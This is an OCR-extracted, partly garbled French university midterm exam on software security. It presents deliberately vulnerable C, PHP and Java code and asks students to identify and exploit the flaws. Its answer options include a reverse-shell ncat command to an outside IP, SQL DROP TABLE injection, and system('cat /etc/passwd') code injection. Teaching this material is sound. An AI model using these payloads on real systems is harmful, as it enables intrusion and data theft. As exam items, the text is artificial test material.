## ${\bf Jean\ Privat-UQAM}$

# INF600C — Sécurité des logiciels et exploitation de vulnérabilités

# Examen Intra — Hiver 2019

### Mercredi 6 mars — Durée 3 heures

0       0	Codez les 8 chiffres de votre code permanent ci-contre, et inscrivez-le à nouveau ci-dessous avec vos nom et prénom.  Code permanent :  Nom :  Prénom :
_	
Il utilise une liste chainée que l'utilisateur peut c Il offre à l'utilisateur d'accéder à une URL extern Il permet à l'utilisateur d'injecter du SQL qui lui Il désérialise des instances d'objets sans vérifier la Il permet à l'utilisateur de contrôler l'éditeur de	ne non contrôlée ou non vérifiée. i permet d'accéder frauduleusement à une base de donnée liée.

#### Login en C

Sur la machine locale, un programme login peut-être exécuté avec des droits d'un utilisateur syslogin grâce au bit setuid.

```
drwxr-xr-x 2 syslogin syslogin 4096 fév 28 11:03 config/
   -rw-r---- 1 syslogin syslogin 1007 fév 28 11:03 config/pass
   -rwsr-x--- 1 syslogin syslogin 16744 fév 28 11:04 login
   -rw-r--r-- 1 syslogin syslogin
                                    743 fév 28 10:55 login.c
   -rw-r---- 1 syslogin syslogin
                                      31 fév 28 11:04 secret.txt
   Le contenu de login.c est le suivant :
   #include < stdlib.h>
1
2
   #include < stdio.h>
3
   #include < unistd.h>
   // Vérifie si l'utilisateur `user` avec le mot de passe `pass` existe
4
5
   int checkpass(char *user, char *pass) {
6
     char cmd[1024] = "";
7
     int res;
     char *hash = crypt(pass, "R4nd0m"); // hache et sale le mot de passe
8
9
     // cherche "user:hash" dans le fichier de mot de passe
     res = snprintf(cmd, 1024, "/bin/grep '%s:%s' config/pass >/dev/null", user, hash);
10
11
     if (res>=1024) return 0; // contrôle de débordement
12
     //puts(cmd); // débogage
13
     int retour = system(cmd); // exécution effective du grep
     return retour == 0;
14
15
   }
16
17
   int main(int argc, char **argv) {
18
     if(argc == 3 && checkpass(argv[1], argv[2])) system("cat secret.txt");
19
     return 0;
20
```

Le manuel de snprintf(3) indique

int snprintf(char \*str, size\_t size, const char \*format, ...);

En cas de succès, cette fonction renvoie le nombre de caractères écrits (sans compter l'octet nul final utilisé pour terminer les sorties dans les chaînes). La fonction snprintf() n'écrit pas plus de size octets (y compris l'octet nul final). Si la sortie a été tronquée à cause de la limite, la valeur de retour est le nombre de caractères (octet nul final non compris) qui auraient été écrits dans la chaîne s'il y avait eu suffisamment de place. Ainsi, une valeur de retour size ou plus signifie que la sortie a été tronquée.

Le manuel de crypt(3) indique

```
char *crypt(const char *key, const char *salt);
```

La fonction crypt est celle utilisée pour le cryptage des mots de passe. Elle est basée sur l'algorithme DES (« Data Encryption Standard ») avec des variantes prévues entre autres choses pour éviter l'implémentation matérielle d'un casseur de code.

Le manuel de grep(1) indique

```
grep [OPTIONS] MOTIF [FICHIER...]
```

grep recherche dans les FICHIERs indiqués les lignes correspondant à un certain MOTIF. Par défaut, grep affiche les lignes qui contiennent une correspondance au motif. L'entrée standard est lue si FICHIER est omis ou si FICHIER vaut « - ». Par défaut, MOTIF est interprété comme une expression rationnelle simple (BRE). Le code de sortie vaut 0 si des lignes sont trouvées et 1 si aucune n'est trouvée. Si une erreur survient, le code de sortie vaut 2.

Le manuel de system(3) indique

```
int system(const char *command);
```

La fonction system() exécute la commande indiquée dans command en appelant /bin/sh -c command, et revient après l'exécution complète de la commande. Durant cette exécution, le signal SIGCHLD est bloqué, et les signaux SIGINT et SIGQUIT sont ignorés. La valeur renvoyée est -1 en cas d'erreur (par exemple échec de fork(2)) ou le code de retour de la commande en cas de succès.

-	stion $3 \clubsuit$
	ni les fragilités suivantes, lesquelles peut-on exploiter dans le programme login pour que checkpass retourne 1 et ainsi obtenir
le cc	ntenu du fichier secret.txt?  CWE-185: Expression régulière incorrecte ou non fiable
	CWE-189: Expression regulare incorrecte ou non nable  CWE-120: Débordement de tampon ('Buffer Overflow')
ļ	CWE-521 : Faibles exigences des mots de passe
ļ	
Į I	CWE-22: Limitation incorrecte d'un chemin vers un répertoire restreint (Traversée de chemins/Path Traversal)
ļ	CWE-134: Utilisation d'un format de chaine (Format String) non fiable
ļ	CWE-193: Erreur d'une unité (Off-by-one Error)
ļ	CWE-489: Reste de code de débogage
l	CWE-426: Chemin de recherche non fiable (PATH)
Ī	CWE-77: Neutralisation incorrecte des éléments spéciaux utilisés dans une commande (Injection de commandes)
ļ	CWE-769: Épuisement de descripteurs de fichiers
ļ	CWE-760 : Utilisation d'une fonction de hachage avec un sel prédictible CWE-483 : Délimitation incorrecte de bloc
ļ	
L	Aucune de ces réponses n'est correcte.
Que	stion 4 Décrivez un moyen pour obtenir le contenu de secret.txt en exploitant le programme login.  0 0 5
L	
Que	stion 5 Décrivez un autre moyen pour obtenir le contenu de secret.txt en exploitant le programme login. (Vous dever
-	
expl	oiter une autre vulnérabilité)

-	uestion 6 ♣ À part afficher le secret, quels impacts techniques pgin?	peut espérer obtenir un attaquant en exploitant le programme		
-06	Modifier le contenu de config/pass.			
	Exécuter une commande shell en root.			
	Créer de nouveaux utilisateurs.			
	Créer de nouveaux utilisateurs.  Créer de nouveaux fichiers dans config/.			
	Afficher le contenu de config/pass.			
	Modifier le contenu de /etc/passwd.			
	Lister directement tous les mots de passe en clair des utilisat			
	Compiler une nouvelle version de grep, avec un backdoor pa			
	Après bricolage, récupérer les mots de passe de tous les utilis	sateurs futurs du programme.		
	Aucune de ces réponses n'est correcte.			
Lo	ogin en SQL et PHP			
	Un programme PHP effectue une requête SQL de la façon suivan	te:		
$\frac{1}{2}$				
3	<b>1 1</b> ·			
4				
5				
6				
7	1	login' AND hash='\$hash';";		
8				
9 10				
		11 1 1 47 1 177 4		
	Comme l'utilisateur contrôle le contenu des arguments <b>\$login</b> et <b>\$</b> un attaquant de se connecter?	pass, quelles valeurs de \$login ET \$pass pourraient permettre		
	uestion 7 Pour \$login?			
-		_		
	<u></u> «*»	_ « '; ncat -e /bin/sh 132.208.246.6 6666; »		
	« ' OR 1=1; »	_ « null »		
	<pre></pre>	« '; DROP TABLE students; »		
	<pre></pre>	La valeur de \$login n'est pas importante		
	« O OR O=O; »			
Qu	uestion 8 Pour \$pass?			
	« pass[]= »	\(\lambda * \rangle\)		
	" pass[]- "	« null »		
	( , System( title ), »	« '; DROP TABLE students; »		
	<pre></pre>	La valeur de \$pass n'est pas importante		
	« '; ncat -e /bin/sh 132.208.246.6 6666; »	La valeur de spass il est pas importante		
	( '; ncat -e /bin/sn 132.208.246.6 6666; »			
$\mathbf{Q}\mathbf{u}$	uestion 9 Quelle correction le programmeur devrait mettre en	place pour sécuriser son programme?		
	Utiliser correctement des requêtes SQL préparées.			
	Utiliser correctement « return \$res->num_rows == 1 »			
	Filtrer correctement le caractère « ;» dans \$user et \$pass			
	Utiliser correctement « return \$res->num_rows === 1 »			
	Filtrer correctement le caractère «\$» dans \$user et \$pass			

#### Contrôle d'accès en Java

Soit le programme Java suivant.

```
1 class Auth {
                                                    37
                                                          public void ressource() {
     Utilisateur utilisateur;
2
                                                    38
                                                            String numéro = Système.lire("Numéro");
                                                    39
3
     boolean estAuthentifié;
                                                            try {
4
     Ressource ressource;
                                                    40
                                                              long n = Long.parseLong(numéro);
5
     boolean estAutorisé;
                                                    41
                                                              ressource = Système.getRessource(n);
     public static void main(String[] args) {
6
                                                    42
                                                            } catch (Exception e) { return; }
7
       Auth auth = new Auth();
                                                    43
                                                            if (!estAuthentifié) ressource = null;
8
        while(true) auth.run();
                                                    44
                                                            estAutorisé = false;
9
                                                    45
10
                                                    46
     void run() {
                                                          public void autorise() {
        String action = Système.lire("Action");
11
                                                    47
                                                            estAutorisé = false;
12
        if (action.equals("identifie"))
                                                    48
                                                            if (utilisateur == null || ressource == null)
13
          identifie();
                                                    49
14
        else if (action.equals("authentifie"))
                                                    50
                                                            if (utilisateur.estAdmin()) estAutorisé = true;
                                                    51
                                                            if (ressource.estPublic()) estAutorisé = true;
15
          authentifie();
        else if (action.equals("ressource"))
                                                    52
16
                                                          public void accède() {
17
         ressource();
                                                    53
18
        else if (action.equals("autorise"))
                                                    54
                                                            if (ressource == null)
19
          autorise();
                                                    55
                                                              System.out.println("404 non trouvé");
        else if (action.equals("accède"))
                                                    56
20
                                                            else if (!estAutorisé)
21
          accède();
                                                    57
                                                              System.out.println("403 interdit");
22
                                                    58
                                                            else if (ressource.estPublic())
        else
23
                                                    59
          System.out.println("action inconnue");
                                                              System.out.println("200 OK");
24
                                                    60
                                                            else System.out.println(Système.SECRET);
25
     public void identifie() {
                                                    61
                                                        }
26
        String nom = Système.lire("Nom");
                                                    62
27
        utilisateur = Système.getUtilisateur(nom); 63
                                                        class Utilisateur {
28
        estAuthentifié = false;
                                                    64
                                                          String nom;
29
                                                          boolean estAdmin() { return nom.equals("admin"); }
                                                    65
30
     public void authentifie() {
                                                    66
                                                          Utilisateur(String n) { nom = n; }
31
        String passe =
                                                    67
                                                       }
          Système.lire("Mot de passe");
32
                                                    68
                                                        class Ressource {
33
        estAuthentifié =
                                                    69
                                                          long numéro;
34
          Système.valide(utilisateur.nom, passe);
                                                    70
                                                          boolean estPublic() { return numéro > 0; }
35
     }
                                                    71
                                                          Ressource(long n) { numéro = n; }
                                                    72 }
36
   Ainsi que la documentation de la classe Système.
1 /** Classe utilitaire. */
2
   class Système {
      /** Affiche l'invite, lit une ligne de l'entrée et retourne la ligne. */
3
4
     static String lire(String invite);
      /** Retourne l'utilisateur nommé nom. Ou null s'il n'existe pas. */
5
6
     static Utilisateur getUtilisateur(String nom);
7
      /** Vérifie sécuritairement si pass est le mot de passe de l'utilisateur nommé nom. */
8
     static boolean valide(String nom, String pass);
9
      /** Retourne la ressource numérotée no. Ou null si elle n'existe pas. */
10
      static Ressource getRessource(long no);
11
      /** Un secret. */
12
      static String SECRET;;
13 }
```

Question 10 Quelle stratégie permet de faire un DOS (déni de service)?			
Accéder sans être Accéder sans être Autoriser de nom Authentifier sans	authentifié breuses fois, très rapidement	Accéder de nombreus	ses fois, très rapidement es fois, très rapidement reuses fois, très rapidement entifié
Question 11 On con	nait seulement l'utilisateur guest	avec le mot de passe guest. Donne	ez une séquence d'actions (l'entrée
complète) qui permet d'ai	fficher le secret.		0 A B C D E

#### Calculatrice en PHP

Voici le code source de ma super calculatrice interactive  ${\tt calc.php}$  :

```
2 Ma première calculatrice (chiffres, le point et les 4 opérations de base):
4
  <form> <!-- note perso: l'attribut pattern limite les caractères autorisés. -->
5 <input type="text" name="expr" pattern="[0-9.+*/-]*">
  <input type="submit" value="=">
6
7
   </form>
8
9
  <?php
10 \quad \text{if (isset(\$\_GET['expr'])) } \{
     $expr = $_GET['expr'];
11
     $res = eval("return $expr;");
12
     if ($res === false) {
13
14
       echo "Erreur de syntaxe: $expr";
15
16
       echo "Résultat: $expr = $res";
17
     }
18 }
19 ?>
20 < \body>< \html>
```

Un hacker visite la page http://calc.php?expr=system("cat /etc/passwd") ce qui ajoute le contenu du fichier /etc/password
dans la page HTML.  Question 12 . Quelles vulnérabilités le hacker a-t-il exploitée? Note : ne cochez pas toutes les vulnérabilités présentes, seulemen celles exploitées par le hacker.
CWE-565 : Recours aux cookies sans validation ni vérification de l'intégrité
CWE-425 : Requête HTTP directe (navigation forcée)
CWE-73 : Contrôle extérieur des noms de fichiers ou des chemins
CWE-94: Contrôle incorrect de la fabrication de code (injection de code)
CWE-602 : Contrôle de sécurité du serveur faite coté client (client-side enforcement of server-side security)
CWE-89: Neutralisation incorrecte d'éléments spéciaux utilisés dans une commande SQL (Injection SQL Injection)
CWE-918 : Falsification de requête coté serveur (server-side request forgery)
CWE-502 : Déserialisation de donnée non fiable
Aucune de ces réponses n'est correcte.
Finalement, ne pas limiter aux 4 opérations et avoir accès à tous les mécanismes PHP c'est intéressant et permet d'utiliser de fonctions comme cos ou sqrt. On décide alors de protéger de l'exploit du hacker ajoutant la ligne suivante entre les lignes 11 et 1: ce qui a pour effet d'enlever le mot system de l'expression à évaluer.  \$expr = preg_replace("/system/", "", \$expr); On enlève aussi l'attribut pattern du champ expr du formulaire web.  Avec un tel changement, pour l'url du hacker, le site donne maintenant :  Résultat: ("cat /etc/passwd") = cat /etc/passwd
Question 13 🌲 Quelles vulnérabilités reste-t-il dans le logiciel ? Note : sélectionnez toutes les vulnérabilités exploitables restante
après l'ajout du preg_replace.
CWE-89: Neutralisation incorrecte d'éléments spéciaux utilisés dans une commande SQL (Injection SQL Injection)
CWE-73 : Contrôle extérieur des noms de fichiers ou des chemins
CWE-602 : Contrôle de sécurité du serveur faite coté client (client-side enforcement of server-side security)
CWE-94 : Contrôle incorrect de la fabrication de code (injection de code)
CWE-502 : Déserialisation de donnée non fiable
CWE-565 : Recours aux cookies sans validation ni vérification de l'intégrité
CWE-918 : Falsification de requête coté serveur (server-side request forgery)
CWE-425 : Requête HTTP directe (navigation forcée)
Aucune de ces réponses n'est correcte.
Question 14 Proposez un exploit pour récupérer, malgré tout, le contenu du fichier /etc/passwd

#### Administration en PHP

```
Voici le contenu de la page d'accueil index.php:
   <?php session_start(); ?>
 2 < html> < body>
 3 <a href="index.php">Accueil</a>
 4 <a href="apropos.php">À propos</a>
 5 <?php
 6 include "util.php";
 7 $user = $_SESSION['user'];
8 if ($user) {
9
     if (is admin($user))
10
        echo('<a href="admin.php">Console d'administration</a> ');
11
     echo '<a href="logout.php">Se déconnecter</a> ';
12 } else {
     echo '<a href="login.php">Se Connecter</a>';
13
14 }
15 ?>
16 < /body > < /html>
   Voici le contenu de la page d'authentification login.php:
 1
   <?php
 2 session_start();
 3 if(isset($_GET['user'])) {
     $user = $_GET['user'];
 4
 5
     $pass = str_rot13(base64_encode($_GET['pass']));
     $db = new SQLite3("/var/database.db");
 6
 7
     $stmt = $db->prepare("SELECT * FROM users WHERE name=:user AND pass=:pass;");
 8
     $stmt->bindValue(':user', $user, SQLITE3_TEXT);
9
     $stmt->bindValue(':pass', $pass, SQLITE3_TEXT);
10
     $ret = $stmt->execute();
     if($ret->numRows()>0) $_SESSION['user'] = $user;
11
12 }
13 ?>
14 < body > (html > (form > 
15 <input type=text name=user> <input type=password name=pass>
16 <input type=submit value="login!">
17 </form></body></html>
   Voici le contenu de la page d'administration admin.php:
1 <h1>Console d'administration</h1>
 2 < form >
 3 <select name=file>
 4
     <option value="log.txt">Journaux</option>
 5
     <option value="config.txt">Configuration</option>
 6
     <option value="secret.txt">????</option>
 7
   </select>
8 <input type="submit" value="get">
9 </form>
10 <?php
11 if (isset($_GET['file'])) {
12
     $file = $_GET['file'];
13
     $content = file("/admin/$file");
14
     echo "$content";
15 }
16 ?>
```

Question 15 \$\ Quelle vulnérabilité permet à un visiteur normal, qui n'a pas de compte, d'accéder au secret ?  CWE-918 : Falsification de requête coté serveur (server-side request forgery)  CWE-502 : Déserialisation de donnée non fiable  CWE-89 : Neutralisation incorrecte d'éléments spéciaux utilisés dans une commande SQL (Injection SQL Injection)  CWE-425 : Requête HTTP directe (navigation forcée)  CWE-602 : Contrôle de sécurité du serveur faite coté client (client-side enforcement of server-side security)  CWE-73 : Contrôle extérieur des noms de fichiers ou des chemins  CWE-94 : Contrôle incorrect de la fabrication de code (injection de code)  CWE-565 : Recours aux cookies sans validation ni vérification de l'intégrité  Aucune de ces réponses n'est correcte.  Question 16 \$\ \text{A} \text{ À part afficher le secret, quels impacts techniques peut espérer obtenir un visiteur qui n'a pas de compte?}					
Exécuter une instruction PHP arbitraire.  Afficher le contenu de util.php.  Modifier le contenu de /etc/password.  Créer de nouveaux utilisateurs.	Afficher le contenu de /etc/password.  Modifier le contenu de util.php.  Exécuter une commande shell.  Aucune de ces réponses n'est correcte.  d'obtenir tous les utilisateurs et leurs mots de passe en clair.				